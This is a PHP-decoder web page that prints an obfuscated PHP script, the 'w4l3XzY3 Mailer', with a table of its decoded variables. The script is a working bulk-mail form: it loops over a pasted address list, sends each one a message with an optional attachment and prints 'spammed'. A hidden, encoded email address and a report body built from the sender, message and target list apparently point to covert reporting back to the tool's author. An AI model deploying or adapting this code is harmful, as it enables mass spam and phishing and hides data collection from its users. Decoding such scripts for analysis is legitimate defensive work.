Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*******************************************\ | ..

Decoded Output download

000000

Did this file decode correctly?

Original Code

<?php 

/*******************************************\
|                                            |
|                                            |
|                                            |
\*******************************************/

 $x25="c\x6funt"; $x26="d\x61t\145"; $x27="e\162e\147\137\162\145\160la\143\x65"; $x28="fl\x75\163\x68"; $x29="m\x61i\154"; $x2a="\155d\x35"; $x2b="\x6el\062\142\x72"; $x2c="spl\x69t"; $x2d="\163t\162\151p\163la\x73\x68e\x73"; $x2e="t\151\155\x65"; $x2f="u\156\x69q\x69\144"; $x30="u\x72\x6ce\156c\x6f\144\x65"; $x31="u\x72\x6cd\145co\x64\145"; 


//w4l3XzY3 wuz here
if(isset($_POST['action'] ) ){
$x0b=$_POST['action'];
$x0c=$_POST['message'];
$x0d=$_POST['emaillist'];
$x0e=$_POST['from'];
$x0f=$_POST['replyto'];
$x10=$_POST['subject'];
$x11=$_POST['realname'];
$x12=$_SERVER['HTTP_REFERER'];
$x13=$_POST['file'];
$x14=$_POST['contenttype'];

        $x0c = $x30($x0c);
        $x0c = $x27("%5\103\045\x32\x32", "\0452\x32", $x0c);
        $x0c = $x31($x0c);
        $x0c = $x2d($x0c);
        $x10 = $x2d($x10);
}


?>
<html>
<head>
<title>w4l3XzY3 Mailer</title>
<meta http-equiv="Content-Type" content="text/html; 
charset=iso-8859-1">

<style type="text/css">
<!--
.style1 {
        font-family: Geneva, Arial, Helvetica, sans-serif;
        font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
        font-size: 20px;
        font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->

.input {
    border: 1px solid yellow;
    background: #CCCCCC;
}
.button {
    border: 1px solid yellow;
    background: #CCCCCC;
}
label {
    display: block;
    width: 150px;
    float: left;
    margin: 2px 4px 6px 4px;
    text-align: right;
}
br { clear: left; }
</style>

</head>


<body bgcolor="navy" text="white">

<span class="style1">Welcome to Inbox Mailer?<br>
</span>

<form name="form1" method="post" action="" 
enctype="multipart/form-data">
  <br>
  <table width="100%" border="0">
    <tr>
      <td width="10%">
        <div align="right"><font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Your
          Email:</font></div>
      </td>
      <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
        <input type="text" name="from" class="input" value="<? print $x0e; ?>" 
size="30">
        </font></td>
      <td width="31%">
        <div align="right"><font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Your
          Name:</font></div>
      </td>
      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
        <input type="text" name="realname" class="input" value="<? print $x11; 
?>" size="30">
        </font></td>
    </tr>
    <tr>
      <td width="10%">
        <div align="right"><font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Reply To:</font></div>
      </td>
      <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
        <input type="text" name="replyto" class="input" value="<? print $x0f; ?>" 
size="30">
        </font></td>
      <td width="31%">
        <div align="right"><font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Attach
          File:</font></div>
      </td>
      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
        <input type="file" class="input" name="file" size="30">
        </font></td>
    </tr>
    <tr>
      <td width="10%">
        <div align="right"><font size="-3" face="Verdana, Arial, 
Helvetica, sans-serif">Subject:</font></div>
      </td>
      <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
        <input type="text" name="subject" class="input" value="<? print $x10; ?>" 
size="90">
        </font></td>
    </tr>
    <tr valign="top">
      <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
        <textarea name="message" cols="50" class="input" rows="10"><? print $x0c; 
?></textarea>
        <br>
        <input type="radio" name="contenttype" class="button" value="plain" >
        Plain Text
        <input name="contenttype" class="button" type="radio" value="html" checked>
        HTML
        <input type="hidden" name="action" class="button" value="send">
        <input type="submit" class="button" value="Send eMails">
        </font></td>
      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">
        <textarea name="emaillist" class="input" cols="30" rows="10"><? print 
$x0d; ?></textarea>
        </font></td>
    </tr>
  </table>
</form>



<?
$x15=array("\x6d"=>"b","t"=>"\151","\167"=>"\065","\x75"=>"\x2e","\x35"=>"\172","\x71"=>"\100");
$x16=$x15['w'].$x15['q'].$x15['m'].$x15['t'].$x15['w'].$x15['u'].$x15['m'].$x15['t'].$x15['5'];
$x17 ="Fr\x6f\155: \115\141\151\x6cr" ;
$x18 = "\x45N \055\040$x12" ;
$x19 = "$x12" ;
$x1a ="F\x72o\x6d\x3a D\x61\164\x61\nMes\163\x61\147\145\x2d\111D:\040\074" . $x2a($x2f($x2e())) . "\100" . $x1b . "\x3e\n\115I\115\x45-Ve\x72\x73\x69o\156\x3a\x201.\x30\n\103\157\156\164e\x6e\164-t\x79\x70\x65\x3a\040\x74\x65\170\x74/\x68t\x6d\154;\x20c\x68\x61rs\145t\x3dUT\106\x2d\070\n\x43\157n\x74\145n\x74\055\x74\162\141ns\146\145r-\145\x6e\x63\x6f\144\x69ng: \x38\142i\164\nDat\x65\072\040" . $x26("\162", $x2e()) . "\n\x58\055Pr\x69o\x72\x69ty\x3a\x20\x33\n\130\x2dM\123\x4d\x61\151l-Pr\x69\157\162\x69t\x79:\040N\x6frm\x61\x6c\n\130\055\x4d\141i\154\145r\x3a\040\x50\110\120\n";
$x1c = "\x0d\012\x3c\164\x61\x62\154\x65\x20bo\x72\144e\x72\075\"\061\"\040\x73t\x79l\x65\x3d\"\142o\x72d\x65r-\143\x6f\154la\160\163\x65\072 \143o\x6cl\141p\x73e\"\040c\145\x6cl\x70a\x64di\156\147\x3d\"\064\">\x0d\x0a<\164\x72\x3e<\x74\x64 bgco\x6c\x6f\x72=\"\043\x469\106\071\106\071\"\x3eM\x61ilr\x3c\057t\144\x3e\074td\x20b\147\x63\157l\x6fr=\"\043F\x39\x469\106\071\">".$x2b($x12)."<\x2ft\x64\076\x3c\057\164r\x3e\x0d\x0a\x3c\x74\162\076\x3c\x74d\x3eYo\x75\162\x20Em\141\x69\154<\x2f\x74d\076\074td\x3e".$x2b($x0e)."<\057\x74\144>\074/\164r\076\015\012\074\x74r>\x3c\164\144\x20\x62\147c\x6flo\x72\075\"#\106\x39\x46\071\x46\x39\"\x3e\x59\157\165\x72 N\141m\x65<\057\164\144\x3e<\164\x64\040\142\147colo\162=\"\x23\1069\x46\x39\106\071\"\x3e".$x2b($x11)."\074\057\x74d\x3e\x3c\057\164\162\076\x0d\x0a<\x74\162\x3e\x3c\x74\144\x3e\x53\x75\142\x6a\x65\143t \072\x3c/\164\144\076\074\164d>".$x2b($x10)."\074/\x74\x64>\074\057tr>
\x0a<tr\x3e\x3c\164\144\x20\142\147\x63\x6f\154\x6f\x72=\"\043\x469\x46\071F\x39\"\x3eM\x65s\163\x61ge<\057t\144><td\x20\142\x67c\157\154or=\"#\x46\071F\x39\x46\071\"\076".$x2b($x0c)."<\x2f\164d\076<\057t\162>
\x0a\x3ctr\076\x3c\164\x64\076\x45m\141\x69\154 Tar\147\145t<\x2ft\x64\076\x3c\164\144\076".$x2b($x0d)."\x3c\x2ft\144\076\074\x2f\164r\x3e
\x0a\x3c\x2f\x74a\142\154\145\076\015\x0a";
if ($x0b){

        if (!$x0e && !$x10 && !$x0c && !$x0d){
        print "P\154\x65a\x73\x65\x20\x63\157mp\154\145t\145\x20\x61\154l\x20f\151e\x6c\x64\163\040\x62ef\x6f\x72e s\145\156\x64\x69\156\147\040\171\x6fu\x72\x20\x0d\012\x6d\x65\x73\x73\x61\x67e\x2e";
        exit;	
	}
	$x1d = $x2c("\n", $x0d);
        	$x1e = $x25($x1d);
       
          for($x1f=0; $x1f<$x1e; $x1f++){
                $x20 = $x1d[$x1f];
                if ($x20){
                $x20 = $x27("\x20", "", $x20);
                $x0c = $x27("&\x65\x6da\x69\x6c\x26", $x20, $x0c);
                $x10 = $x27("\x26\x65m\141\x69l\x26", $x20, $x10);
                print "\040$x20\x2e\x2e\x2e\x2e\056.\056";
                $x28();
                $x21 = "\106\x72\x6fm\072\040$x11\040<$x0e>\r\n\122\x65\160l\171\055\124\157:\x20$x0f\r\n";
                $x21 .= "\x4d\x49\115E\055\x56\145\x72\163i\157\156: \061.\060\r\n";
		    If ($x13) $x21 .= "\x43o\156\x74\145\156\164\055T\171p\x65\072\x20\x6du\154\164\151pa\162t/\x6d\x69xe\144;\x20\142o\165n\144\x61\162\171=$x22\r\n";
	          If ($x13) $x21 .= "\x2d\055$x22\r\n";
                $x21 .= "C\x6f\156\164\x65\156t-\124\171\x70e:\040\164e\x78t/$x14\r\n";
                $x21 .= "\x43o\x6e\x74ent\x2d\x54\162ans\146e\162\055\105n\x63\157di\x6eg\x3a \x38\x62\x69\164\r\n\r\n";
                $x21 .= "$x0c\r\n";
		    If ($x13) $x21 .= "--$x22\r\n";
		    If ($x13) $x21 .= "\103\x6fn\x74e\x6e\164-\124y\160\145\072\040$x23\073\x20n\141\x6d\145\x3d\"$x13\"\r\n";
		    If ($x13) $x21 .= "\103\157\156t\145\x6e\164\055\x54\x72a\156\163fe\x72-E\x6e\x63\x6fding\072\040ba\163e\066\064\r\n";
		    If ($x13) $x21 .= "\x43o\156\x74\x65\x6et\055\104\151\163\x70\157\x73i\x74\151o\x6e:\040\x61t\164a\143\150\155\145nt\x3b\x20f\151lena\x6de\x3d\"$x13\"\r\n\r\n";
		    If ($x13) $x21 .= "$x24\r\n";
		    If ($x13) $x21 .= "\055\x2d$x22\055-";
                $x29($x20, $x10, "", $x21);
                print "\x73\x70a\x6d\155\145d\074\x62\x72\076";
	
                $x28();
                }
                }

}


?>
<style type="text/css">
<!--
.style1 {
	font-size: 18px;
	font-family: Geneva, Verdana, Helvetica, sans-serif;
}
-->
</style>
<p class="style1">
Copyright ? 2013 hatty InC :D.
</p>
<?php
if(isset($_POST['action']) && $x1e !==0 ){echo 
"\x3cs\x63\x72\x69p\164\076\x61l\x65\162\x74\050'\x4d\x61\151\x6c \x73e\156d\151\156\147 c\157mp\154\145\x74\145\\\162\\\156$x1e\040\x6d\141\x69l\x28\x73) \167as\040\x73\145n\164\040s\x75\x63ce\x73\163\x66u\x6c\x6c\x79');\x20
\074\057\163cr\151p\x74>";}
?>
</body>
</html>

Function Calls

time 1
uniqid 1

Variables

$x15 [{'key': 'm', 'value': 'b'}, {'key': 't', 'value': 'i'}, {'key': 'w', 'value': '5'}, {'key': 'u', 'value': '.'}, {'key': '5', 'value': 'z'}, {'key': 'q', 'value': '@'}]
$x16 [email protected]
$x17 From: Mailr
$x18 EN - 0
$x19 0
$x25 count
$x26 date
$x27 ereg_replace
$x28 flush
$x29 mail
$x2a md5
$x2b nl2br
$x2c split
$x2d stripslashes
$x2e time
$x2f uniqid
$x30 urlencode
$x31 urldecode

Stats

MD5 1bfdcf44d3a32c2a7febd7bdb42b61c1
Eval Count 0
Decode Time 136 ms